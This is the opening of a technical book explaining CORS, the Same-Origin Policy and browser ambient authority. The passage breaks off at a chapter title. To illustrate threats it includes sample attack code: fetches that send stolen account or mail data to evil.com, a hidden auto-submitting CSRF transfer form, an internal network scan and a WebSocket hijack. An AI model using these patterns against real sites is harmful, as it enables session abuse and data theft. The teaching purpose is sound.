Introduction

It is 4:47 PM on a Thursday. You are one feature away from finishing your sprint. You wire up a fetch() call to the new API endpoint, flip to the browser, and there it is:

Access to fetch at 'https://api.example.com/v1/users' from origin
'http://localhost:3000' has been blocked by CORS policy: No
'Access-Control-Allow-Origin' header is present on the requested resource.

Your stomach drops for exactly half a second before muscle memory takes over. You open a new tab. You type "cors error fix" into the search bar. You click the first Stack Overflow result. You copy a header. You paste it into your server config. The error goes away. You ship it. You go home.

You have just done the software engineering equivalent of silencing a smoke detector by removing the batteries.

This works, of course. It works the way leaving your front door unlocked "works" when you keep losing your keys. The problem is not that you got the error to stop appearing. The problem is that you have no idea why it appeared, what you just changed, or what you just exposed. And next Thursday, when a slightly different CORS error shows up — one involving preflights, or credentials, or an OPTIONS request that your server doesn't handle — you'll be right back on Stack Overflow, copying a different snippet from a different answer, hoping this one sticks too.

This book exists to break that cycle.

What This Book Is About

This is a book about Cross-Origin Resource Sharing. Not "how to make the red error go away," though you will certainly learn that. This is a book about understanding the mechanism — what it does, why it exists, how each piece fits together, and what you are actually saying to the browser when you set a CORS header.

Here is the single most important thing you will learn, and you are going to learn it right now, for free, in the introduction: CORS is not the thing blocking your request. The Same-Origin Policy is the thing blocking your request. CORS is the mechanism that allows cross-origin requests to happen despite the Same-Origin Policy. CORS is the escape hatch. CORS is your friend.

Read that again if you need to.

Every time you curse at a "CORS error," you are blaming the fire exit for the fire. The browser's default behavior is to block cross-origin requests. That is the Same-Origin Policy, and it has been protecting users on the web since the late 1990s. CORS is the standardized way for a server to say, "No, it's fine, let this one through." The error you see in your console is the browser telling you that the server hasn't said that yet. The fix is not to fight the browser. The fix is to understand what the server needs to communicate and then communicate it correctly.

That distinction — between the policy that blocks and the mechanism that permits — is the foundation everything else in this book rests on.

Why Understanding Matters

You can get through a surprising amount of your career by copy-pasting CORS headers. Plenty of people do. But eventually, one of these things will happen:

  • You will set Access-Control-Allow-Origin: * on an endpoint that uses cookies, and it will silently fail. You will spend two hours debugging before discovering that the wildcard origin is not allowed when credentials are involved.

  • You will add the right Access-Control-Allow-Origin header but forget Access-Control-Allow-Headers, and your Content-Type: application/json request will trigger a preflight that returns a 405 because your server does not handle OPTIONS.

  • A penetration tester will flag your API for reflecting the Origin header directly into Access-Control-Allow-Origin without validation, and you will not understand why that matters.

  • You will configure CORS on your Express server, put Nginx in front of it, and watch in horror as Nginx strips the headers your application carefully set.

  • You will need to explain to a junior developer why their localhost is being "blocked" and what to do about it, and "just add this header" will not be a sufficient answer.

When any of these happen — and they will — the cost of not understanding CORS stops being theoretical. You need a mental model, not a cheat sheet.

What You Will Learn

This book is structured in five parts, each building on the last.

Part I: The Problem CORS Solves starts at the beginning. Before you can understand CORS, you need to understand what it is responding to. We will cover the Same-Origin Policy — what it is, why browsers enforce it, and what counts as an "origin" in the first place. If you have ever been confused about why http://localhost:3000 and http://localhost:8080 are considered different origins, this is where that gets cleared up. We will also walk through the historical attacks that made the Same-Origin Policy necessary, because understanding the threat model makes the restrictions feel a lot less arbitrary.

Part II: How CORS Actually Works is the mechanical core of the book. This is where we crack open the protocol and examine every moving part. You will learn the difference between simple requests and preflighted requests, and why that distinction exists. You will understand the OPTIONS dance — what the browser sends, what the server must respond with, and what happens when any piece is missing. Every CORS header will be explained: what it does, when it is required, what values it accepts, and what happens when you get it wrong. We will cover credentials — cookies, authorization headers, TLS client certificates — and the special rules that apply when they are involved. And we will look at how to cache preflight responses so you are not paying the latency cost of an extra round trip on every request.

Part III: CORS in the Wild takes the theory and applies it to the situations you actually encounter. How does CORS interact with the Fetch API versus the older XMLHttpRequest? What about WebSockets — do they even use CORS? (The answer may surprise you.) What are the special rules for fonts and static assets? How does CORS work — or fail to work — in single-page applications? And what happens when you introduce an API gateway or reverse proxy between your client and your server?

Part IV: Server-Side Configuration is the practical section. This is where you learn how to actually configure CORS on real servers. We will cover Express and Node.js, Go, Rust, Python, Nginx, Apache, serverless functions, and edge workers. The goal is not just to give you config snippets to copy — though you will get those too — but to make sure you understand what each line of configuration is doing, so you can adapt it when your situation does not match the example.

Part V: Debugging and Security ties everything together. You will learn how to read CORS errors like a human — how to look at the browser's console output and the network tab and immediately identify what is wrong. We will catalog the most common mistakes and their fixes. We will discuss CORS as a security boundary: what it protects against, what it does not protect against, and how it fits into a broader security posture. And yes, we will talk about when Access-Control-Allow-Origin: * is actually fine — because sometimes it is, and knowing when is just as important as knowing when it is not.

Who This Book Is For

Frontend developers who have encountered CORS errors and want to stop treating them as inscrutable acts of browser hostility. If you have ever stared at a fetch() call that works perfectly in Postman but fails in the browser, and you want to understand why those two things behave differently, this book is for you.

Backend developers who have been asked to "add CORS headers" and want to know what they are actually adding, what the security implications are, and how to get it right without opening a hole they did not intend to open.

Full-stack developers who want one coherent mental model that spans both sides of the request, instead of two sets of half-understood fixes stitched together with hope.

DevOps and platform engineers who configure reverse proxies, API gateways, CDNs, and load balancers, and need to understand how CORS headers interact with these layers — because nothing ruins your afternoon quite like Nginx silently eating the Access-Control-Allow-Origin header your application set.

Tech leads and senior engineers who are tired of reviewing pull requests that "fix CORS" by adding Access-Control-Allow-Origin: * to every endpoint, and who want a resource they can point their team to instead of explaining the same thing for the fifteenth time. (Hello. I see you. This book is especially for you.)

You do not need to be a security expert. You do not need to have read any RFCs. You should have some basic familiarity with HTTP — requests, responses, headers, status codes — and with how web browsers interact with servers. If you have ever opened your browser's developer tools and looked at the Network tab, you know enough to start.

What This Book Is Not

This is not a book about web security in general. CORS is one piece of the browser security model, and we will be thorough about that piece, but we are not going to cover Content Security Policy, CSRF tokens, XSS prevention, or any of the other topics that belong in a broader security book. Where those topics intersect with CORS — and they do — we will point it out, but we will not go down those rabbit holes.

This is also not a cookbook. You will find configuration examples and code snippets throughout, but the point of every example is to illustrate a concept. If you are looking for a file you can copy into your project without reading anything, you have the wrong book. (You also have the wrong approach, but that is a conversation for another time.)

How to Read This Book

If you are new to CORS, read it front to back. Each chapter builds on the ones before it, and the early chapters establish vocabulary and concepts that the later chapters assume you know.

If you already have a working understanding and you are here to fill in gaps, skip to the parts that interest you. The chapter titles are descriptive enough that you should be able to find what you need. But if you find yourself confused by something in a later chapter, resist the urge to google it — the answer is almost certainly in an earlier chapter.

If you are in the middle of a production incident and you need to fix a CORS error right now, go directly to Chapter 19, "Reading CORS Errors Like a Human," and Chapter 20, "Common Mistakes and How to Fix Them." Fix your immediate problem. Then come back and read the rest, so the next incident is one you prevent rather than one you react to.

A Note on the Examples

The code examples in this book use a variety of languages and frameworks. On the client side, you will see JavaScript using the Fetch API. On the server side, you will see Node.js with Express, Go, Rust, Python, Nginx config files, and more. The HTTP exchanges are shown as raw request/response pairs whenever possible, because CORS is an HTTP-level protocol and understanding the actual headers being exchanged matters more than understanding any particular library's API for setting them.

When a concept applies universally, the examples use raw HTTP. When implementation details matter, the examples use real code. In all cases, the examples are minimal — just enough to illustrate the point, and no more.

Let's get started.

The Same-Origin Policy

Let me save you some time. If you're here because your fetch() call is failing and you want to skip straight to the fix — I get it. But if you don't understand the Same-Origin Policy first, you're going to be back here next week with a slightly different variation of the same problem. So grab a coffee. This matters.

What the Same-Origin Policy Actually Is

The Same-Origin Policy (SOP) is a security mechanism built into web browsers. Not into HTTP. Not into your server. Not into JavaScript itself. Into the browser.

This distinction is critical, and it's the reason half the confusion around CORS exists. When your backend developer says "just test it with curl," they're not being dismissive (well, maybe a little) — they're accidentally revealing the core truth: curl doesn't have a Same-Origin Policy because curl isn't a browser.

The SOP's rule is deceptively simple:

A document or script loaded from one origin can only interact with resources from that same origin.

We'll define "origin" precisely in Chapter 3. For now, think of it as the combination of scheme (http or https), hostname (example.com), and port (443). If any of those three differ between where your page was loaded from and where it's trying to reach, you've got a cross-origin request on your hands.

A Brief, Irritating History

The year is 1995. Netscape Navigator 2.0 ships with a brand-new feature called JavaScript. Within approximately forty-five seconds, someone realizes that if a page in one browser frame can read content from a page in another frame, things get interesting in all the wrong ways.

Consider: you've got your online banking open in one tab. You visit totally-legit-free-screensavers.com in another tab. Without the SOP, that screensaver site's JavaScript could reach across tabs, read your bank balance, grab your account numbers, and exfiltrate everything to a server in who-knows-where. The DOM of your banking page would be an open book.

Netscape introduced the Same-Origin Policy in Navigator 2.02 (1996) specifically to prevent this class of attack. Microsoft followed suit in Internet Explorer. The policy has been refined over the decades, but the core idea hasn't changed: don't let Site A read Site B's stuff.

The formal specification lives in RFC 6454, published in 2011, which finally wrote down what browsers had been doing (with slight variations) for fifteen years.

What the SOP Actually Restricts

Here's where people get tripped up. The SOP doesn't block everything cross-origin. It's selective, and the selection criteria are rooted in historical accidents as much as security theory.

Things the SOP restricts

1. Reading data via XMLHttpRequest and fetch()

This is the one you're probably here for. If your page at https://app.example.com tries to fetch data from https://api.example.com, the browser will block you from reading the response unless the server opts in via CORS headers.

// Page loaded from https://app.example.com

fetch('https://api.different-domain.com/users')
  .then(response => response.json())
  .then(data => console.log(data))
  .catch(err => console.error('Blocked by SOP:', err));

What you'll see in the browser console:

Access to fetch at 'https://api.different-domain.com/users' from origin
'https://app.example.com' has been blocked by CORS policy: No
'Access-Control-Allow-Origin' header is present on the requested resource.

That error message mentions CORS, not SOP. This is because the browser is telling you "this cross-origin request failed because the server didn't send the CORS headers that would have allowed it." The SOP is the default. CORS is the exception mechanism.

2. DOM access across origins

If you embed a page in an <iframe>, JavaScript on the parent page cannot reach into the iframe's DOM if the origins differ:

// Parent page: https://my-site.com
const iframe = document.getElementById('bank-iframe');
// iframe src: https://my-bank.com

try {
  const bankBody = iframe.contentDocument.body;
  // This throws:
} catch (e) {
  console.error(e);
  // DOMException: Blocked a frame with origin "https://my-site.com"
  // from accessing a cross-origin frame.
}

3. Reading cookies, localStorage, and IndexedDB from other origins

Each origin gets its own isolated storage. JavaScript running on https://evil.com cannot read cookies that belong to https://your-bank.com. This seems obvious, but it's worth stating explicitly because it's the SOP doing this work.

4. Canvas tainted by cross-origin images

You can display a cross-origin image (see below), but if you draw it onto a <canvas> and then try to read the pixel data with getImageData() or toDataURL(), the canvas becomes "tainted" and the read operations throw:

const img = new Image();
img.src = 'https://other-domain.com/photo.jpg';
img.onload = () => {
  const canvas = document.createElement('canvas');
  const ctx = canvas.getContext('2d');
  ctx.drawImage(img, 0, 0);

  try {
    const data = ctx.getImageData(0, 0, 100, 100);
    // SecurityError: The operation is insecure.
  } catch (e) {
    console.error('Canvas tainted by cross-origin image');
  }
};

Things the SOP does NOT restrict

This list surprises people, and it's important for understanding why certain attacks are possible and why CORS works the way it does.

1. Images (<img> tags)

<!-- This works. Always has. -->
<img src="https://other-domain.com/cat.jpg" alt="Someone else's cat">

You can display cross-origin images. You just can't read their pixel data programmatically (see the canvas tainting above). The web would have been a very different place if images had been same-origin-only from the start.

2. Scripts (<script> tags)

<!-- This works too. It's how CDNs work. -->
<script src="https://cdn.example.com/library.js"></script>

The script executes in the context of the page that included it, not the origin it was loaded from. This is, historically, both incredibly useful and the source of a whole category of security problems (hello, supply-chain attacks on npm packages served via CDN).

This is also why JSONP worked as a CORS workaround — it exploited the fact that <script> tags aren't subject to the SOP. We don't talk about JSONP in polite company anymore, but you'll still encounter it in legacy codebases.

3. Stylesheets (<link rel="stylesheet">)

<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto">

Same deal. Cross-origin CSS loads and applies just fine.

4. Forms (<form> submissions)

<form action="https://other-site.com/endpoint" method="POST">
  <input name="data" value="surprise">
  <button type="submit">Submit</button>
</form>

This is a big one. The browser will happily send a cross-origin form POST — including cookies for the target domain. The SOP doesn't prevent the sending. It prevents the reading of the response. The page that submitted the form navigates away, so there's no JavaScript context left to read anything. But the request was absolutely sent, and the server absolutely processed it. This is the heart of CSRF attacks, which we'll cover in Chapter 2.

5. Embeds (<iframe>, <video>, <audio>, <object>)

You can embed cross-origin content. You just can't reach into it with JavaScript.

The Concrete Example

Let's walk through what actually happens, packet by packet, when you hit a cross-origin issue. You have a single-page application hosted at https://app.coolstartup.io, and it needs to pull user data from your API at https://api.coolstartup.io.

Step 1: Your JavaScript makes the request

// Running on https://app.coolstartup.io
const response = await fetch('https://api.coolstartup.io/v1/users/me', {
  headers: {
    'Authorization': 'Bearer eyJhbGciOiJIUzI1NiIs...',
    'Content-Type': 'application/json'
  }
});

Step 2: The browser notices it's cross-origin

The browser compares origins:

  • Page origin: https://app.coolstartup.io (scheme: https, host: app.coolstartup.io, port: 443)
  • Request target: https://api.coolstartup.io (scheme: https, host: api.coolstartup.io, port: 443)

The hosts differ (app.coolstartup.io vs api.coolstartup.io). This is cross-origin.

Step 3: The browser may send a preflight (more on this in later chapters)

Because this request has an Authorization header and a Content-Type of application/json, the browser sends a preflight OPTIONS request first. If the server doesn't respond with appropriate CORS headers, the browser stops here. Your actual GET request never goes out.

Step 4: Without CORS headers, the browser blocks the response

Let's say the server at api.coolstartup.io doesn't have CORS configured. The browser console shows:

Access to fetch at 'https://api.coolstartup.io/v1/users/me' from origin
'https://app.coolstartup.io' has been blocked by CORS policy: Response to
preflight request doesn't pass access control check: No
'Access-Control-Allow-Origin' header is present on the requested resource.

In Chrome DevTools, you can see this play out:

  1. Open Network tab
  2. Look for the request — it might show as (failed) or with a red status
  3. If a preflight was sent, you'll see a separate OPTIONS request
  4. Click on the failed request, go to the Response tab — it'll be empty
  5. Check the Console tab for the error message above

Step 5: Meanwhile, curl works fine

$ curl -s -D - https://api.coolstartup.io/v1/users/me \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIs..."

HTTP/2 200
content-type: application/json
date: Sat, 21 Mar 2026 14:30:00 GMT

{"id": 42, "name": "Alice", "email": "alice@example.com"}

No error. The data comes back fine. Your backend colleague says "works for me" and shrugs. This is because curl is not a browser. It doesn't implement the SOP. It doesn't check CORS headers. It just sends the request and gives you whatever comes back. We'll dig into why this distinction exists in Chapter 2.

Why This All Matters: The Banking Scenario

Let's make the threat concrete. Imagine a world without the Same-Origin Policy.

  1. You log into https://mybank.com. The bank sets a session cookie in your browser.

  2. You open a new tab and visit https://evil-site.com. Maybe you clicked a link in an email. Maybe it was a compromised ad.

  3. evil-site.com serves JavaScript that does:

// Without SOP, this would work
const response = await fetch('https://mybank.com/api/accounts', {
  credentials: 'include'  // Send my bank cookies
});
const accounts = await response.json();

// Now send the stolen data home
await fetch('https://evil-site.com/collect', {
  method: 'POST',
  body: JSON.stringify(accounts)
});
  1. Because your browser has a valid session cookie for mybank.com, the bank's server thinks this is a legitimate request from you. It returns your account data. Without the SOP, evil-site.com reads that data and exfiltrates it.

The Same-Origin Policy prevents step 3 from succeeding. The browser sees that evil-site.com is trying to read a response from mybank.com and blocks it. The request might still be sent (this is important — we'll come back to it), but the JavaScript on evil-site.com cannot read the response.

The SOP Is the Blocker. CORS Is the Escape Hatch.

Here's the mental model I want you to walk away with:

┌──────────────────────────────────────────────────────┐
│                    DEFAULT STATE                      │
│                                                       │
│   Browser: "Cross-origin request? BLOCKED.            │
│            I don't care that you really need this.    │
│            I don't care that it works in curl.        │
│            The Same-Origin Policy says no."           │
│                                                       │
├──────────────────────────────────────────────────────┤
│                   WITH CORS HEADERS                   │
│                                                       │
│   Server: "Access-Control-Allow-Origin:               │
│            https://app.coolstartup.io"                │
│                                                       │
│   Browser: "Oh, the server says this origin is        │
│            allowed? Then I'll let JavaScript           │
│            read the response. Carry on."              │
│                                                       │
└──────────────────────────────────────────────────────┘

The SOP is the locked door. CORS is the server handing the browser a key and saying "yeah, let them in."

This means CORS is not a security mechanism you add to your server to protect it. That's the most common misconception I encounter. CORS is a mechanism by which a server relaxes the browser's default security policy. If you've never heard of CORS and you've never added any CORS headers to your server, congratulations — you're already as locked down as the browser can make you. Adding CORS headers opens doors. It doesn't close them.

Think about that for a second, because it inverts the way most developers first think about it. You're not "adding CORS for security." You're "adding CORS to reduce security in a controlled way so your legitimate frontend can actually talk to your API."

Common Misconceptions

Before we move on, let me head off a few things I hear regularly:

"The server is blocking my request."

No. The browser is blocking you from reading the response. The server may have actually received and processed the request (especially for simple requests that don't trigger a preflight). The server doesn't know or care about the SOP. It just answers HTTP requests.

"I'll just disable CORS in my browser."

You can, for development. Chrome has a --disable-web-security flag. Extensions like "CORS Unblock" exist. But you're disabling the SOP, not "disabling CORS." CORS is the solution, not the problem. And if you ship your application with instructions telling users to disable browser security, I will find you and I will give you a very stern look.

"My server needs to allow CORS."

Your server needs to send CORS response headers. CORS is not a server-side firewall or allow-list that filters incoming requests. It's a set of HTTP response headers that tell the browser "this origin is permitted to read my responses." The server has no way to enforce CORS — it relies entirely on the browser honoring the protocol.

"CORS protects my API."

No. CORS does not protect your server. Anyone with curl, Postman, or a backend service can hit your API regardless of CORS headers. CORS only governs what happens in a browser context. Your API needs its own authentication and authorization. Always.

What's Next

Now that you understand what the SOP does and that CORS is the mechanism for selectively loosening it, the obvious question is: why does the browser do this at all? Why is the browser so paranoid when curl, Postman, and every other HTTP client just... work?

That's Chapter 2. Spoiler: it's because browsers do something no other HTTP client does, and it changes the entire threat model.

Why Browsers Are Paranoid

In the last chapter, we established that the Same-Origin Policy blocks cross-origin reads in the browser, and that CORS is the server's way of saying "no, really, let them in." But we didn't answer the deeper question: why?

Why does the browser enforce this restriction when curl, Postman, wget, Python's requests library, and every server-side HTTP client on the planet don't? Are browsers just being difficult?

No. Browsers have a very good reason. And once you understand it, every CORS decision you'll ever make will suddenly make sense.

The Ambient Authority Problem

Here's the single most important concept in this entire book. If you remember nothing else, remember this:

Browsers automatically attach credentials to requests.

When your browser sends a request to https://mybank.com, it automatically includes:

  • Cookies for mybank.com
  • HTTP Basic/Digest auth credentials if you've entered them for that domain
  • TLS client certificates if configured
  • Windows Integrated Authentication (Kerberos/NTLM) tokens on corporate networks

This happens automatically. The user doesn't click "attach my cookies." The JavaScript doesn't have to explicitly add them (though credentials: 'include' controls whether fetch sends them cross-origin). The browser just... does it. This is called ambient authority.

Now think about what this means. When evil-site.com tells your browser to make a request to mybank.com, the browser will attach your banking cookies to that request. The bank's server sees a request with a valid session cookie and thinks it's you. As far as the server can tell, you — the authenticated user — are making this request.

This is fundamentally different from any other HTTP client:

ClientAttaches your cookies automatically?Has your active sessions?
BrowserYesYes
curlNo. You'd have to manually copy cookies.No.
PostmanNo. You configure auth explicitly.No.
Python requestsNo. You pass credentials in code.No.
Your backend serverNo. It has its own identity.No.

When you use curl, you're making a request as curl. When a browser makes a request, it's making a request as the logged-in user, with all their authority. That's the difference. That's the whole thing.

# curl: no cookies, no session, no ambient authority
$ curl https://mybank.com/api/accounts
# Returns: 401 Unauthorized

# Browser: automatically attaches your session cookie
# fetch('https://mybank.com/api/accounts')
# Returns: 200 OK with your actual account data

CSRF: The Attack That Proves the Point

Let's make this concrete with a Cross-Site Request Forgery (CSRF) attack. This is the canonical example of why ambient authority is dangerous.

The Setup

  1. You're logged into https://mybank.com. Your browser has a session cookie:

    Cookie: session=abc123def456
    
  2. The bank has a transfer endpoint:

    POST https://mybank.com/api/transfer
    Content-Type: application/x-www-form-urlencoded
    
    to=alice&amount=100
    

The Attack

You visit https://evil-site.com, which serves this HTML:

<h1>Congratulations! You've won a free iPad!</h1>

<!-- Hidden form that auto-submits -->
<iframe name="hidden-frame" style="display:none"></iframe>
<form id="attack" action="https://mybank.com/api/transfer"
      method="POST" target="hidden-frame">
  <input type="hidden" name="to" value="evil-hacker">
  <input type="hidden" name="amount" value="10000">
</form>

<script>
  document.getElementById('attack').submit();
</script>

Here's what happens:

  1. The page loads.
  2. JavaScript submits the hidden form.
  3. Your browser automatically attaches your mybank.com session cookie to the POST request.
  4. The bank's server receives what looks like a completely legitimate transfer request from an authenticated user.
  5. $10,000 goes to evil-hacker.

The attacker never needed to know your password. They never needed your cookies. They just needed your browser to do what it always does — automatically attach your credentials to the request.

Why the SOP Doesn't Fully Prevent This

Wait — didn't we just spend a whole chapter saying the SOP prevents cross-origin problems? Here's the subtlety:

The SOP prevents reading cross-origin responses. It does NOT prevent sending cross-origin requests.

The form submission above? It sends the POST. The SOP only prevents the JavaScript from reading the response. The attacker doesn't need the response — the damage (the money transfer) happens from the request alone.

This is the distinction that trips up most developers:

┌─────────────────────────────────────────────────────────────┐
│                    Cross-Origin Request                       │
│                                                               │
│   Sending the request:  ALLOWED for simple requests           │
│                         (forms, basic fetches)                │
│                                                               │
│   Reading the response: BLOCKED by SOP                        │
│                         (unless CORS headers present)         │
│                                                               │
│   Why? Because the web was built on cross-origin form         │
│   submissions and image loads. Blocking sends would have      │
│   broken the entire existing web in 1996.                     │
└─────────────────────────────────────────────────────────────┘

The SOP protects against data theft (reading your bank balance). It does not fully protect against state-changing actions (transferring your money). That's why CSRF tokens exist — they're a separate defense mechanism for the separate problem of forged requests.

CSRF Defenses (Brief Aside)

Since we're here, the standard defenses against CSRF are:

  1. CSRF tokens: server generates a random token, embeds it in the form, and requires it on submission. The attacker can't read the token (thanks, SOP!) so they can't include it in their forged form.

  2. SameSite cookies: the SameSite attribute on cookies tells the browser not to send them on cross-origin requests.

    Set-Cookie: session=abc123; SameSite=Lax; Secure; HttpOnly
    
  3. Checking the Origin header: the server rejects requests where the Origin header doesn't match expected values.

All of these defenses exist because the SOP alone isn't sufficient for state-changing requests. Keep this in mind — it's the entire reason CORS has the concept of "preflighted" requests, which we'll cover in a later chapter.

Why curl Doesn't Have CORS Issues

I've lost count of the number of times someone has posted a question that boils down to: "It works in curl but not in my browser. What's wrong with my browser?"

Nothing is wrong with your browser. Your browser is doing its job. Let's look at the same request from both perspectives.

From curl

$ curl -v https://api.example.com/data

> GET /data HTTP/2
> Host: api.example.com
> User-Agent: curl/8.4.0
> Accept: */*
>
< HTTP/2 200
< content-type: application/json
< date: Sat, 21 Mar 2026 14:30:00 GMT
<
{"message": "Here's your data"}

curl sends the request. The server responds. curl shows you the response. No origin checks, no SOP, no CORS. There is no "origin" because curl isn't a web page loaded from some domain. It's a command-line tool running directly by a human (or a script that a human wrote and chose to run).

The security model is simple: if you have access to run curl on a machine, you already have authority to make HTTP requests from that machine. There's no ambient authority to protect against.

From the browser

// Page loaded from https://my-app.com
fetch('https://api.example.com/data')
  .then(r => r.json())
  .then(console.log);

The browser's internal monologue goes something like:

  1. "A script from https://my-app.com wants to fetch from https://api.example.com."
  2. "Those are different origins."
  3. "I need to check if api.example.com says this is OK."
  4. "Let me look at the response headers..."
  5. "No Access-Control-Allow-Origin header. Request denied."
// Console:
Access to fetch at 'https://api.example.com/data' from origin
'https://my-app.com' has been blocked by CORS policy: No
'Access-Control-Allow-Origin' header is present on the requested resource.

The key insight

The browser adds a layer of protection because it runs untrusted code on behalf of the user. When you visit a website, you're implicitly running that website's JavaScript in a sandbox. You didn't audit that code. You probably don't even know what it does. The browser's job is to make sure that code can't abuse the authority it has (your cookies, your sessions, your identity).

curl doesn't run untrusted code. You are the one running curl. You made a deliberate choice to make that request. The trust model is completely different.

Why Postman Works Fine But Your Browser Doesn't

Same reason as curl. Postman is a standalone application that you, the developer, are deliberately using to send specific requests. It doesn't automatically attach your browser's cookies (it has its own cookie jar, which you explicitly configure). There's no ambient authority. There's no "untrusted script running in a sandbox."

When Postman sends a request:

GET /api/data HTTP/1.1
Host: api.example.com
Authorization: Bearer <token-you-explicitly-configured>

The developer explicitly set that auth header. Postman didn't steal it from a browser session. The server can trust that whoever made this request intended to make it, because Postman doesn't run drive-by JavaScript from random websites.

When people ask me "why does my API work in Postman but not in the browser?", I ask them back: "Does Postman automatically log into your Gmail when you open it?" No? That's your answer.

The Trust Model: Server-to-Server vs Browser-to-Server

It helps to think about two fundamentally different communication patterns on the web:

Server-to-Server Communication

┌──────────────┐         ┌──────────────┐
│   Your API   │  ────>  │  Their API   │
│  Server       │  <────  │  Server      │
└──────────────┘         └──────────────┘

Your backend calls another backend. There are no cookies being implicitly attached. There are no user sessions being silently hijacked. Whatever credentials are used (API keys, OAuth tokens, mTLS certificates), they were explicitly configured by a developer who had direct access to the server.

There is no SOP and no CORS in this model. Two servers talking to each other is just HTTP. The concept of "origin" doesn't even apply — servers don't have an origin in the browser security sense.

# Server-side code (Node.js) - no CORS issues
const response = await fetch('https://api.stripe.com/v1/charges', {
  headers: {
    'Authorization': 'Bearer sk_live_...',
    'Content-Type': 'application/x-www-form-urlencoded'
  },
  method: 'POST',
  body: 'amount=2000&currency=usd'
});
// Works fine. No browser. No SOP. No CORS.

Browser-to-Server Communication

┌──────────────┐
│   Browser     │ (with cookies for bank.com, email.com, etc.)
│   running     │
│   untrusted   │
│   JavaScript  │
└──────┬───────┘
       │
       │  "I want to fetch from bank.com"
       │  (browser automatically attaches bank.com cookies)
       │
       ▼
┌──────────────┐
│   bank.com   │  "This looks like a legit request from
│   Server     │   an authenticated user..."
└──────────────┘

This is the dangerous case. The browser is running JavaScript that the user didn't write and probably didn't review. That JavaScript has indirect access to the user's authenticated sessions on every site they're logged into. The SOP exists to prevent that JavaScript from exploiting those sessions.

Concrete Attack Scenarios the SOP Prevents

Let's walk through several attacks that would be trivial without the SOP.

Attack 1: Reading email

Without SOP, any website could:

// Attacker's page at https://evil.com
// User is logged into Gmail
const response = await fetch('https://mail.google.com/mail/u/0/h/', {
  credentials: 'include'
});
const html = await response.text();
// Parse the HTML, extract email contents
// Send them to the attacker's server

The SOP blocks evil.com from reading the response from mail.google.com.

Attack 2: Internal network reconnaissance

Your browser is on a corporate network. Without SOP:

// Attacker's page (hosted on the public internet)
// Scan internal network addresses
for (let i = 1; i < 255; i++) {
  try {
    const r = await fetch(`http://192.168.1.${i}:8080/api/health`);
    const data = await r.text();
    // Found an internal service! Report it back.
    navigator.sendBeacon('https://evil.com/collect', JSON.stringify({
      ip: `192.168.1.${i}`,
      response: data
    }));
  } catch (e) {
    // Host not reachable, move on
  }
}

Your browser sits inside the corporate firewall. The attacker's server does not. But if they can get your browser to make requests to internal hosts and read the responses, they've effectively bypassed the firewall using your browser as a proxy. The SOP prevents the reading of those responses.

(Note: the requests themselves may still be sent — remember, SOP blocks reads, not sends. This is why network security shouldn't rely solely on firewalls. But without being able to read the responses, the attacker can't do much reconnaissance.)

Attack 3: Session token theft via API

Many single-page applications have an API endpoint that returns user info:

// Attacker's page
const response = await fetch('https://slack.com/api/auth.test', {
  credentials: 'include'
});
const data = await response.json();
// data.user, data.team, data.user_id — all yours now

The SOP prevents evil.com from reading Slack's API responses. Even though your browser would attach the cookies, the JavaScript can't see what came back.

Attack 4: Cross-origin WebSocket hijacking

WebSockets are interesting because once established, they don't follow the standard SOP pattern. However, the initial handshake does include cookies:

// Attacker's page
const ws = new WebSocket('wss://trading-platform.com/live');
ws.onmessage = (event) => {
  // Read real-time trading data
  fetch('https://evil.com/collect', {
    method: 'POST',
    body: event.data
  });
};

WebSocket servers need to check the Origin header themselves — the browser sends it, but WebSocket connections aren't subject to CORS in the normal way. This is a real attack vector that has bitten production systems. Always validate the Origin header in your WebSocket handshake code.

"Sending" vs "Reading": A Deeper Look

This distinction is so important and so frequently misunderstood that it's worth a dedicated section. Let's trace exactly what happens at the network level for a cross-origin fetch.

The network trace

Let's watch this with curl in verbose mode, simulating what the browser does:

# This is approximately what the browser sends
$ curl -v https://api.example.com/data \
  -H "Origin: https://my-app.com" \
  -H "Cookie: session=abc123"

> GET /data HTTP/2
> Host: api.example.com
> Origin: https://my-app.com
> Cookie: session=abc123
>

< HTTP/2 200
< content-type: application/json
< date: Sat, 21 Mar 2026 14:30:00 GMT
<
< (no Access-Control-Allow-Origin header)
<
{"secret": "data"}

At the network level, the request went out, the server processed it, and the response came back. The response bytes traveled across the network and arrived at the browser. The browser received them.

But when JavaScript tries to access response.json(), the browser says no. The data is right there, sitting in the browser's network stack, and the browser refuses to hand it to JavaScript.

In Chrome DevTools, you can see evidence of this:

  1. Open Network tab
  2. Make the cross-origin request
  3. Click on the request
  4. The Headers tab shows the response headers (sometimes — Chrome has gotten better at hiding these in recent versions)
  5. The Response tab may show "(failed to load response data)" even though the data arrived
  6. The Timing tab shows the full request/response lifecycle — the bytes definitely came back

The browser is not a firewall. It received the response. It's just refusing to hand it to the potentially-untrusted JavaScript that asked for it.

Why this matters for security

If you're thinking "the data still traveled over the network, so an attacker with a packet sniffer could read it anyway" — you're right, but that's a different threat model. The SOP protects against remote attackers who can trick your browser into making requests. It doesn't protect against local attackers with access to your network traffic (that's what TLS is for).

The threat model for SOP is:

  • Attacker controls a website you visit
  • Attacker can run JavaScript in your browser
  • Attacker cannot see raw network traffic
  • Attacker cannot access the browser's internal memory

Given those constraints, preventing JavaScript from reading cross-origin responses is an effective defense.

The Browser's Perspective

I find it helpful to personify the browser. Imagine the browser as an extremely cautious security guard at a building:

  • curl/Postman: An employee with a badge. They walk up to any door, swipe their badge, and go in. They're responsible for their own actions.

  • Browser JavaScript: A visitor being escorted by the security guard. The visitor can ask the guard to open doors, but the guard checks with the room's owner first. "Hey, there's someone from app.coolstartup.io here who wants to see your data. Are they on your list?" If the room owner (the server) says yes (via CORS headers), the guard lets them read the response. If not, the guard says "sorry, can't help you" — even if the guard already peeked inside and saw the data.

Summary

The browser is not being paranoid. It's being appropriately cautious, given that:

  1. It runs untrusted code from arbitrary websites.
  2. It automatically attaches user credentials to requests.
  3. It has access to the user's authenticated sessions on every site.

Any client with those three properties must restrict cross-origin access. If curl automatically attached your bank cookies when running a script you downloaded from the internet, it would need the same restrictions.

The SOP and CORS exist because browsers are in a uniquely dangerous position: they're the only HTTP client that combines untrusted code execution with ambient authority. That combination is why your fetch() call fails in the browser but works everywhere else. It's not a bug. It's the browser doing its job.

What's Next

We've established why the browser cares about origins. But what exactly is an origin? It seems simple — but like everything in web security, the edge cases will haunt you. Let's look at origins, schemes, ports, and all the ways they can differ in Chapter 3.

Origins, Schemes, and Ports

